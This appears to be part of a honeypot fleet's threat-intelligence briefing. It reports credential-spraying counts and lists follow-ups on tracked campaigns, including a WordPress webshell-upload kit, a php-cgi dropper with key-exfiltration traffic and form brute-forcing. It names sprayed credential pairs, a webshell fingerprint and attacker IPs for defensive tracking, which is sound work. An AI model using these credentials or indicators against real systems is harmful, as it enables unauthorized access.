Credential concentration persists. 26,004 distinct pairs offered, 0 new. Top pairs: 345gs5662d34/345gs5662d34 at 861 attempts and root/3245gs5662d34 at 658 — the fixed-pair sprayers hold the funnel for an eleventh window. No new pairs to report.

Gaps / Next Collection

1. CVENGINE-KIT outcome. Check webshell-command/webshell-probe status codes for any stage the kit could read as success; a return with a second-stage POST (beacon, reverse shell) or a third node settles whether the operator found the decoys convincing. Fingerprints: CVEngineBoundary, md5('wp2shell1337').
2. CENSUS-284 spread. A third host fetching the same 284 paths, any mint, or wordlist drift would establish a living marketplace artifact; the two known buyers are on unrelated ASNs (Interserver US, Techoff BG).
3. LIBREDTAIL dropper, still unmeasured. The php-cgi arm's /bin/sh dropper has produced no captured body since №51's single capture; 12 windows of key-exfil POSTs with no dropper telemetry. A bodyPreview on a /bin/sh row or a 217.60.0.0/16 staging sighting closes it.
4. 185.209.196.169's flip. Watch for AWS use of its 2026-10-19 05:00 ru-edge canary, a second WebSiphon IP/node, and whether the №55 23-op sweep returns in-window.
5. MEGA-DICTIONARY's +66. Track the anti-join delta per replay; a second operator fetching the grown wordlist is the adoption signal for the new /l_*.sh family.
6. WP-FORM-BRUTE's alarm. Whether the 233-IP pool repeats; pair-count trend against the 200 threshold; any mint from the pool (none so far).
7. 137.23.38.53 promotion. A third minting window or a second minting sensor makes this census-plus-self-use collector a named campaign.
8. Arkime tag repair. bahrain-sponge-01-ts / contabo-sponge-01-ts / contabo-sponge-02-ts labels still drift from their namesakes' IPs — an ops-repo fix, not a briefing action.

Digest: /data/flux-logs/reports/flux-digest-2026-10-19.md
Recon digest: /data/flux-logs/reports/flux-recon-digest-2026-10-19.md
Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-10-19-r3.html
Plain language: /data/flux-logs/reports/flux-fleet-intel-briefing-plain-2026-10-19.md

Watch next cycle: (1) CVENGINE-KIT — success evidence or a second node for the wp SQLi + webshell-upload kit; (2) the credential funnel — any AWS use of 185.209.196.169's direct mint and any call beyond GetCallerIdentity from the l9scan hoards; (3) WP-FORM-BRUTE's 233-IP pool and CENSUS-284's spread — a repeat, not a one-off, is what both alarms need.